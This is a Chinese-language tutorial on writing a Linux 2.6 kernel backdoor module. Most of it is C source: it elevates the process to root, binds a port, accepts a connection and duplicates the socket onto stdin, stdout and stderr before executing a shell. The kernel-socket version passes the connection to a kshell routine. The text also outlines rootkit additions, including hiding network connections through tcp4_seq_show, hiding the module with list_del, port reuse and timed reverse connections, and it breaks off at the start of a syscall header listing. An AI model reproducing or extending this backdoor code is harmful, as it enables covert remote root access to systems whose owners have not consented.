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抒写Linux 2.6.x下内核级后门程序

一. 内核后门简介

  所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的'rootkit'。

  本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。

  二. 内核中系统调用

  Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数,如:

      int my_read(int fd, char * buf, off_t count)
  {
  long __res;
  __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"
  : "=a" (__res)
  : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
  "d" ((long)(count)) :"memory");
  return (int)(__res);
  }

  这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能, 就必须调用某些函数来进行socket通信。 本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。

  通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。

  linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:

      #define my__syscall_return(type, res) \
  do { \
  if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
  errno = -(res); \
  res = -1; \
  } \
  return (type) (res); \
  } while (0)
  #define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
  type name(type1 arg1,type2 arg2,type3 arg3) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
  "d" ((long)(arg3)) : "memory"); \
  my__syscall_return(type,__res); \
  }

  my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:

     static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);

  编译的时候就会被展开成:

      int read(int fd, char * buf, off_t count) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"\
  : "=a" (__res) \
  : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), \
  "d" ((long)(count)) :"memory"); \
  return (int)(__res);\
  }

  本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。

  好了,现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:

      linux-2.6.18/net/socket.c
  asmlinkage long sys_socketcall(int call, unsigned long __user *args)
  {
  unsigned long a[6];
  unsigned long a0,a1;
  int err;
  ...
  a0=a[0];
  a1=a[1];
  switch(call)
  {
  case SYS_SOCKET:
  err = sys_socket(a0,a1,a[2]);
  break;
  case SYS_BIND:
  err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
  break;
  case SYS_CONNECT:
  err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
  break;
  case SYS_LISTEN:
  err = sys_listen(a0,a1);
  break;
  case SYS_SOCKETPAIR:
  err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
  break;
  case SYS_SEND:
  err = sys_send(a0, (void __user *)a1, a[2], a[3]);
  break;
  ...
  }

  通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET, SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:

      struct sockaddr_in cli_addr;
  unsigned long args[];
  args[0] = sock_fd;
  args[1] = (unsigned long)cli_addr;
  args[2] = (unsigned long)sizeof(struct sockaddr_in);
  sys_socketcall(SYS_BIND, args);

  其他函数类似。这样就可以在内核中来使用这些socket函数了。

  下面给出一个具体的监听某一个端口的例子:

      int k_listen(int port)
  {
  struct task_struct *tsk = current;
  struct sockaddr_in serv_addr;
  struct sockaddr_in cli_addr;
  mm_segment_t old_fs;
  char buff[100];
  unsigned long arg[3];
  int sock_fd, sock_id;
  int tmp_kid;
  int i, n, cli_len;
  old_fs = get_fs();
  tsk->uid = 0;
  tsk->euid = 0;
  tsk->gid = SGID;
  tsk->egid = 0;
  /* create socket */
  arg[0] = AF_INET;
  arg[1] = SOCK_STREAM;
  arg[2] = 0;
  set_fs(KERNEL_DS);
  ssetmask(~0);
  for (i=0; i < 4096; i++)
  close(i);
  if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
  set_fs(old_fs);
  return 0;
  }
  printk("create socket ok.\n");
  /* bind address */
  memset((void *) &serv_addr, 0, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons(port);
  serv_addr.sin_addr.s_addr = 0;
  arg[0] = sock_fd;
  arg[1] = (unsigned long) &serv_addr;
  arg[2] = (unsigned long) sizeof(serv_addr);
  if ((socketcall(SYS_BIND, arg)) == -1) {
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("bind address ok.\n");
  /* begin listen */
  arg[0] = sock_fd;
  arg[1] = (unsigned long) 255;
  if ((socketcall(SYS_LISTEN, arg)) == -1) {
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("listen on port %d\n", port);
  cli_len = sizeof(cli_addr);
  arg[0] = sock_fd;
  arg[1] = (unsigned long) &cli_addr;
  arg[2] = (unsigned long) &cli_len;
  if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
  printk("accept error.\n");
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("accept a client.\n");
  dup2(sock_id, 0);
  dup2(sock_id, 1);
  dup2(sock_id, 2);
  execve(earg[0], (const char **) earg, (const char **) env);
  close(sock_id);
  close(sock_fd);
  set_fs(old_fs);
  return 1;
  }

三.使用kernel mode socket函数

  前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的,同样在linux-2.6.18/net/socket.c中:

  在user mode socket中的socket函数的功能是建立个套接字,它是调用sys_socket函数来实现的,因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的:

      asmlinkage long sys_socket(int family, int type, int protocol)
  {
  int retval;
  struct socket *sock;
  retval = sock_create(family, type, protocol, &sock);
  if (retval < 0)
  goto out;
  retval = sock_map_fd(sock);
  if (retval < 0)
  goto out_release;
  out:
  return retval;
  out_release:
  sock_release(sock);
  return retval;
  }

  关键就2个函数,sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。 有兴趣的读者可以继续深入这些函数,看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于sys_bind, sys_listen等,我们用同样的办法来处理。有了源代码,看它们怎么实现,我们就怎么实现。

  下面给出一个监听某端口的例子:

      int k_listen(void)
  {
  struct socket *sock,*newsock;
  struct sockaddr_in server;
  struct sockaddr client[128];
  char address[128];
  int sockfd, sockid, i,size = 0;
  int error = 0,len = sizeof(struct sockaddr);
  //set_fs(KERNEL_DS);
  error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
  if (error < 0) {
  printk("[-] socket_create failed: %d\n",error);
  sock_release(sock);
  return -1;
  }
  sockfd = sock_map_fd(sock);
  if (sockfd < 0) {
  printk("[-] sock_map_fd() failed.\n");
  sock_release(sock);
  return -1;
  }
  for (i = 0; i < 8; i++)
  server.sin_zero[i] = 0;
  server.sin_family = PF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(port);
  error = security_socket_bind(sock,(struct sockaddr *)&server,len);
  if (!error) {
  error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
  if (error < 0) {
  printk("[-] unix_bind() failed.\n");
  sock_release(sock);
  return -1;
  }
  }
  error = sock->ops->listen(sock,5);
  if (error < 0) {
  printk("[-] unix_listen failed.\n");
  sock_release(sock);
  return -1;
  }
  printk("[+] listen port %d ok.\n",port);
  if (!(newsock = sock_alloc())) {
  printk("[-] sock_alloc() failed.\n");
  sock_release(sock);
  return -1;
  }
  newsock->type = sock->type;
  newsock->ops = sock->ops;
  printk("[+] waiting for a client.\n");
  if (newsock->ops->accept) {
  error = security_socket_accept(sock,newsock);
  if (error < 0)
  goto out_release;
  if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
  printk("[-] accept got a signal.\n");
  goto out_release;
  }
  else if (error < 0) {
  printk("[-] unix_accept failed.\n");
  goto out_release;
  }
  if (newsock->ops->getname(newsock,client,&len,1) < 0)
  goto out_release;
  security_socket_post_accept(sock,newsock);
  sockid = sock_map_fd(newsock);
  if (sockid < 0) {
  printk("[-] sock_map_fd() failed.\n");
  sock_release(newsock);
  return -1;
  }
  printk("[+] accept a client.\n");
  kshell(sockid);
  }
  return 1;
  out_release:
  sock_release(sock);
  sock_release(newsock);
  return 0;
  }

  四. 如何扩展后门

  如果费这么大力气在内核中就实现了这么简单的功能,还不如在用户空间实现。

  问题关键是我们现在在内核中,只要对内核有足够的了解,还有什么不能实现的呢?

  内核源码在手,能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧, 如隐藏网络连接,hack下tcp4_seq_show就行了,隐藏模块list_del一下就行了。为了控制方便,加个pty支持吧。再牛的搞个端口复用吧。想嗅探启动吗?用netfilter过滤下就行了。

  下面说说编写更高级后门时需要注意的一些地方:

  1. 现在你在内核中,就要考虑并发和竞态的问题,给临界区加个锁或信号量是不错的选择。

  2. 如果你想做一个定时回连的后门,请不要使用内核定时器。 它的执行函数是在原子方式下执行的,也就是这个时候你不能去访问用户空间的东西,如果引起了休眠,内核可能就oops了。你可以使用schedule_timeout()让当前模块休息几秒,当调度程序把它调度回来的时候在尝试一次回连的操作,就不会有问题了。五. 参考资料

  [1] Linux kernel source code

  http://www.kernel.org

  [2] sk1.3-b source code – sd

  http://sd.g-art.nl/sk

  [3] enyelkm 1.2 - RaiSe && David Reguera

  http://www.enye-sec.org

  [4] wnps-2.26 – wzt

  http://hi.baidu.com/wzt85

  六. 相关源代码

      Syscalls.h
  /* macros de syscalls */
  int errno;
  #define my__syscall_return(type, res) \

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